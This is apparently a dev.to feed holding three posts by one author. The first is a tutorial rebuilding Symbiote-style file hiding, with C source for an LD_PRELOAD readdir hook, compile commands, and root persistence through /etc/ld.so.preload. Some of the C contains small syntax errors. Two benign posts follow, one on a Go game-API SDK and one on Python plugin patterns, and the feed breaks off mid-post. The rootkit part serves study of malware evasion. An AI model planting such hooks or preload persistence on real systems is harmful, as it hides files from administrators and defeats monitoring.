&lt;p&gt;Recently I heard about a new malware called &lt;a href="https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat"&gt;Symbiote&lt;/a&gt;, which the researches are calling the "Nearly-Impossible-to-Detect Linux Threat". I was very intrigued by how that malware is being implemented and how it works internally to remain undetected, so naturally I've started to research it. &lt;/p&gt;

&lt;p&gt;I highly advise you to read through these articles first before we begin with the actual post:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1574/006/"&gt;Hijack Execution Flow: Dynamic Linker Hijacking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.baeldung.com/linux/ld_preload-trick-what-is"&gt;What Is the LD_PRELOAD?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"&gt;What is a Shared Library?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Implementation
&lt;/h1&gt;

&lt;p&gt;I decided to implement a very simple alternative of the evasive techniques that this malware uses just as a proof of concept and if you already read the articles that I've linked, it is apparent that we have to implement a shared library, that will override some symbols defined in the Linux Kernel.&lt;/p&gt;

&lt;p&gt;What do we need first and how to hide a file from lets say a command like &lt;code&gt;ls&lt;/code&gt;? With a little bit of investigating of how the &lt;code&gt;ls&lt;/code&gt; works internally through the &lt;a href="https://github.com/coreutils/coreutils/blob/master/src/ls.c"&gt;source code&lt;/a&gt; and the &lt;a href="https://man7.org/linux/man-pages/man1/ls.1.html"&gt;linux manual page&lt;/a&gt;&lt;br&gt;
We can see that internally we have a function that is called &lt;code&gt;print_dir&lt;/code&gt;. I've truncated the comments of the original source code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
&lt;span class="n"&gt;print_dir&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;realname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;command_line_arg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we continue further down the function we can see the loop that actually iterates over the files&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;errno&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;next&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readdir&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dirp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Here we can see that the loop iterates over readdir as long&lt;/span&gt;
      &lt;span class="c1"&gt;// as the pointer that readdir returns isn't null and the errno != 0&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;file_ignored&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;d_name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// we can see here that it the filename is&lt;/span&gt;
          &lt;span class="c1"&gt;// taken from the next variable, lets look through the source code of `readdir`&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's confirm that by invoking &lt;code&gt;nm&lt;/code&gt; this will show us the dynamic symbols that are being loaded from shared libs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nm &lt;span class="nt"&gt;-D&lt;/span&gt; /usr/bin/ls | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"readdir"&lt;/span&gt;
&lt;span class="go"&gt;                 U readdir@GLIBC_2.2.5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I concluded that I need to search into the source code of &lt;code&gt;readdir&lt;/code&gt; which is located &lt;a href="https://github.com/torvalds/linux/blob/master/fs/readdir.c"&gt;here&lt;/a&gt; and the &lt;a href="https://man7.org/linux/man-pages/man3/readdir.3.html"&gt;linux manual page&lt;/a&gt;. The description more or less describes exactly what we concluded from the source code of &lt;code&gt;ls.c&lt;/code&gt;. Lets see where we set that &lt;code&gt;d_name&lt;/code&gt; variable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;dirent.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;dirent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;readdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DIR&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;dirp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Signature of the readdir&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;dirent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ino_t&lt;/span&gt;          &lt;span class="n"&gt;d_ino&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="cm"&gt;/* Inode number */&lt;/span&gt;
    &lt;span class="kt"&gt;off_t&lt;/span&gt;          &lt;span class="n"&gt;d_off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="cm"&gt;/* Not an offset; see below */&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;short&lt;/span&gt; &lt;span class="n"&gt;d_reclen&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="cm"&gt;/* Length of this record */&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;  &lt;span class="n"&gt;d_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="cm"&gt;/* Type of file; not supported
                                    by all filesystem types */&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;           &lt;span class="n"&gt;d_name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="cm"&gt;/* Null-terminated filename */&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;⚠️ This reverse engineering/looking up the code might be a little bit tricky because of the different implementations of the &lt;code&gt;dirent&lt;/code&gt; structure, if you look through some other source codes you may look at some slightly different structures. In this case the number of chars in the array is 256 but that might change to some other values. And you can always count that &lt;code&gt;d_name&lt;/code&gt; will exists since this field must be implemented on all POSIX systems.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Alright, let's start implementing our own function &lt;code&gt;readdir&lt;/code&gt; that we will wrap the original one with.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* libhidemyfile.c */&lt;/span&gt;
&lt;span class="cp"&gt;#define _GNU_SOURCE
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;dirent.h&amp;gt;&lt;/span&gt;&lt;span class="c1"&gt; // Including the Directory Entry structure&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;// The dynamic linking header file so we can use the dlsym&lt;/span&gt;
&lt;span class="c1"&gt;// which will give us the address for the readdir symbol&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="c1"&gt; // So we can use the strstr&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;dirent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;readdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DIR&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;dirp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;DIR&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// https://man7.org/linux/man-pages/man3/dlsym.3.html&lt;/span&gt;
    &lt;span class="c1"&gt;// Search for RTLD_NEXT, basically it allow us to wrap&lt;/span&gt;
    &lt;span class="c1"&gt;// the original function&lt;/span&gt;
    &lt;span class="n"&gt;handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dlsym&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RTLD_NEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"readdir"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;dirent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;dp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Iterating over the return values of our original `readdir`&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;dp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dirp&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// if our `needle`(our file `syl.lys`) is found in the `haystack`(`dp-&amp;gt;d_name`)&lt;/span&gt;
        &lt;span class="c1"&gt;// break the loop and go to the next entry, essentially skipping our file.&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;d_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"syl.lys"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;dp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is what our final version of wrapper for &lt;code&gt;readdir&lt;/code&gt; would look like. Now let's try to compile it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;gcc libhidemyfile.c &lt;span class="nt"&gt;-fPIC&lt;/span&gt; &lt;span class="nt"&gt;-shared&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; libhidemyfile.so &lt;span class="nt"&gt;-ldl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flags: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/5311515/gcc-fpic-option"&gt;fPIC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-shared&lt;/code&gt; creates a shared object&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://stackoverflow.com/questions/8836707/explanation-of-d-gnu-source-why-to-use-it-and-when"&gt;-D_GNU_SOURCE flag / _GNU_SOURCE&lt;/a&gt; - TLDR: We need it for &lt;code&gt;RTLD_NEXT&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubuntuforums.org/archive/index.php/t-1054717.html"&gt;-ldl&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now that we have shared object (*.so) file lets see how to use it in action.&lt;/p&gt;

&lt;h1&gt;
  
  
  How to overwrite the exported symbols? &lt;code&gt;LD_PRELOAD&lt;/code&gt;
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://man7.org/linux/man-pages/man8/ld.so.8.html"&gt;What is LD_PRELOAD?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I advise you to read that first to get a better understanding of how it works.&lt;/p&gt;

&lt;p&gt;The next thing that we are going to do is to test our shared library and see if it works. Lets run &lt;code&gt;ls&lt;/code&gt; with our &lt;code&gt;libhidemyfile.so&lt;/code&gt; loaded before anything else.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;libhidemyfile.so  syl.lys
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LD_PRELOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./libhidemyfile.so &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;libhidemyfile.so
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see we successfully implement a shared library that hides our file from &lt;code&gt;ls&lt;/code&gt;, and not only that command, every command that uses &lt;code&gt;readdir&lt;/code&gt; won't be able to list our file as long as we load our shared library. So in that case we must think of a persistent way of how to load it without typing &lt;code&gt;LD_PRELOAD&lt;/code&gt; in front of every command.&lt;/p&gt;

&lt;h2&gt;
  
  
  /etc/ld.so.preload
&lt;/h2&gt;

&lt;p&gt;If you read carefully the man pages for &lt;code&gt;LD_PRELOAD&lt;/code&gt; you should know that you won't be able to override functions in the standard search directories without properly setting your set-user-ID permissions. &lt;/p&gt;

&lt;p&gt;Instead we are going to use the &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; which does not suffer from these restrictions. This suffers from requiring root privileges but c'mon.. if you are here you will get those!&lt;/p&gt;

&lt;p&gt;We first need to move our shared library file in some root directory, preferably /lib/ since..it is a library.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo mv&lt;/span&gt; ./libhidemyfile.so /lib/libhidemyfile.so
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we just need to place our library dir in &lt;code&gt;ld.so.preload&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo echo&lt;/span&gt; &lt;span class="s2"&gt;"/lib/libhidemyfile.so"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/ld.so.preload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And if everything is good, executing &lt;code&gt;ls&lt;/code&gt; or any of its aliases will hide our file from the output. Let's verify this by using &lt;code&gt;ldd&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ldd /bin/ls
&lt;span class="go"&gt;        linux-vdso.so.1 (0x00007ffc0c8e2000)
        /lib/libhidemyfile.so (0x00007f00e59e4000) &amp;lt;--- Here it is!
&lt;/span&gt;&lt;span class="gp"&gt;        libselinux.so.1 =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/lib64/libselinux.so.1 &lt;span class="o"&gt;(&lt;/span&gt;0x00007f00e5997000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;        libcap.so.2 =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/lib64/libcap.so.2 &lt;span class="o"&gt;(&lt;/span&gt;0x00007f00e598d000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;        libc.so.6 =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/lib64/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0x00007f00e5600000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;        libpcre2-8.so.0 =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/lib64/libpcre2-8.so.0 &lt;span class="o"&gt;(&lt;/span&gt;0x00007f00e58f0000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;        /lib64/ld-linux-x86-64.so.2 (0x00007f00e5a0f000)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For your convenience I've setup a Docker container that you can use with &lt;code&gt;ld.so.preload&lt;/code&gt; setup&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;docker run &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;--rm&lt;/span&gt; sylly/ctf_findme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  End
&lt;/h1&gt;

&lt;p&gt;If you reached here, thank you so much for the read. In the next part I will try to "completely" hide it from the system because now if we &lt;code&gt;cat&lt;/code&gt; it despite not "reading" it in the directory would print us the contents of the file, but that will be the subject of the next post.&lt;/p&gt;

&lt;h1&gt;
  
  
  Resources
&lt;/h1&gt;

&lt;p&gt;This post wouldn't be possible without:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/"&gt;https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/docs/english/31687-dynamic-link-library-hijacking.pdf"&gt;https://www.exploit-db.com/docs/english/31687-dynamic-link-library-hijacking.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1574/006/"&gt;https://attack.mitre.org/techniques/T1574/006/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/"&gt;https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cadosecurity.com/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload/"&gt;https://www.cadosecurity.com/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.jessfraz.com/post/ld_preload/"&gt;https://blog.jessfraz.com/post/ld_preload/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>offsec</category>
      <category>clang</category>
    </item>
    <item>
      <title>LegionTD2 SDK in Go</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Tue, 04 Oct 2022 19:41:10 +0000</pubDate>
      <link>https://dev.to/syrull/legiontd2-sdk-in-go-3243</link>
      <guid>https://dev.to/syrull/legiontd2-sdk-in-go-3243</guid>
      <description>&lt;p&gt;Recently I've been fascinated with a game called &lt;a href="https://beta.legiontd2.com/"&gt;LegionTD2&lt;/a&gt;, this is a newly created game that I've been playing&lt;br&gt;
as a map ever since Warcraft 3, it is tactical multiplayer tower-defense(td). The game is based on predictions and timings, if you play your cards right (or in the context of the game: sends/workers/units) you will prevail over the enemy team. Read more about it &lt;a href="https://store.steampowered.com/app/469600/Legion_TD_2__Multiplayer_Tower_Defense/"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  LegionTD SDK
&lt;/h1&gt;

&lt;p&gt;I've doing stuff in Go in my free time (mainly code challenges) for a while now and I've decided that I should spend some time creating something useful for myself such as creating tools that would help me get better at the game. The game has an API which resides &lt;a href="https://swagger.legiontd2.com/"&gt;here&lt;/a&gt;, there are couple of endpoints that are useful for helpful statistics such as the &lt;code&gt;player/*&lt;/code&gt; and &lt;code&gt;games/*&lt;/code&gt; endpoints. I knew that I will be querying the API a lot for &lt;br&gt;
fetching info about players and games, so I've decided to create an SDK for that so I can ease my work a little bit. And after couple of weeks free time work I've created the &lt;a href="https://github.com/syrull/ltdsdk"&gt;LegionTD 2 SDK for Go&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Functionality
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Analyze games
&lt;/h2&gt;

&lt;p&gt;While my ultimate goal is to create set of analytics tools for Legion, I've created the most basic example of how that might happen using SQLite3 and Go.&lt;/p&gt;

&lt;p&gt;Under the &lt;a href="https://github.com/syrull/ltdsdk/tree/main/examples/analyze_games"&gt;examples/analyze_games/&lt;/a&gt; I've created an example that fetches about 3k games and put them into a SQLite database, after that you are able to analyze the data using SQL. I've created a simple query that gets the percentage of games &lt;br&gt;
that are being finished at waves 15, 13 and 10.&lt;/p&gt;

&lt;p&gt;In my case here are the results, games finished at wave&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Wave 15&lt;/th&gt;
&lt;th&gt;Wave 13&lt;/th&gt;
&lt;th&gt;Wave 10&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;20%&lt;/td&gt;
&lt;td&gt;14%&lt;/td&gt;
&lt;td&gt;4%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Exporting the games
&lt;/h2&gt;

&lt;p&gt;You can derive that from the previous example but I've created a dedicated examples for both exporting to JSON and exporting to SQL.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/syrull/ltdsdk/tree/main/examples/export_games_to_sql"&gt;Export games to SQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/syrull/ltdsdk/blob/main/examples/export_games_to_json/main.go"&gt;Export games to JSON&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Fetching all of the Units
&lt;/h2&gt;

&lt;p&gt;Since that the game hasn't got a dedicated route for fetching all the units I've created a simple example that resides in the repository under &lt;a href="https://github.com/syrull/ltdsdk/tree/main/examples/get_all_units"&gt;examples/get_all_units&lt;/a&gt;. The important thing here is that I've exported all the units into a single txt file and then I just spawn requests for each unit. &lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;I will be updating the SDK as I am p&lt;/p&gt;

</description>
      <category>games</category>
      <category>gamedev</category>
      <category>sdk</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Creating a Plugin Architecture in Python</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Tue, 04 Oct 2022 19:39:57 +0000</pubDate>
      <link>https://dev.to/syrull/creating-a-plugin-architecture-in-python-54n6</link>
      <guid>https://dev.to/syrull/creating-a-plugin-architecture-in-python-54n6</guid>
      <description>&lt;p&gt;There are some use-cases where a plugin architecture is needed, I call this "code" plugins but it is quite possible that there is already a word for that. The idea is to 'load' functions or classes that are dynamically created so that you can have the reference to the instances at runtime. I've created 2 solutions for that matter one that is using the &lt;code&gt;__subclasses__&lt;/code&gt; dunder method and one using a decorator.&lt;/p&gt;

&lt;h1&gt;
  
  
  Solution 1
&lt;/h1&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/syrull/plugin-arch-python/tree/main/Solution-1"&gt;https://github.com/syrull/plugin-arch-python/tree/main/Solution-1&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SOLUTION-1
│   configuration.py
│   main.py
│   README.md
│   setup.py
│
└───actions
        action_example1.py
        action_example2.py
        __init__.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Loading the &lt;code&gt;__subclasses__&lt;/code&gt; of the &lt;code&gt;BaseAction&lt;/code&gt; class and creating a 'pluggable' classes. The actions can be specified in the &lt;code&gt;configuration.py&lt;/code&gt; file in the &lt;code&gt;ACTIONS&lt;/code&gt; const. This method is inspired by django's &lt;code&gt;INSTALLED_APPS&lt;/code&gt; method. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;call&lt;/code&gt; method is a placeholder for the "actions".&lt;/p&gt;

&lt;h2&gt;
  
  
  To Register an action
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;New python file in &lt;code&gt;actions/&lt;/code&gt; folder&lt;/li&gt;
&lt;li&gt;Create a class with an appropriate name (ex. &lt;code&gt;ClickAction&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Extend the class with &lt;code&gt;BaseAction&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Add an entry to &lt;code&gt;ACTIONS&lt;/code&gt; const located in &lt;code&gt;configuration.py&lt;/code&gt; file with the approriate path to the module&lt;/li&gt;
&lt;/ul&gt;

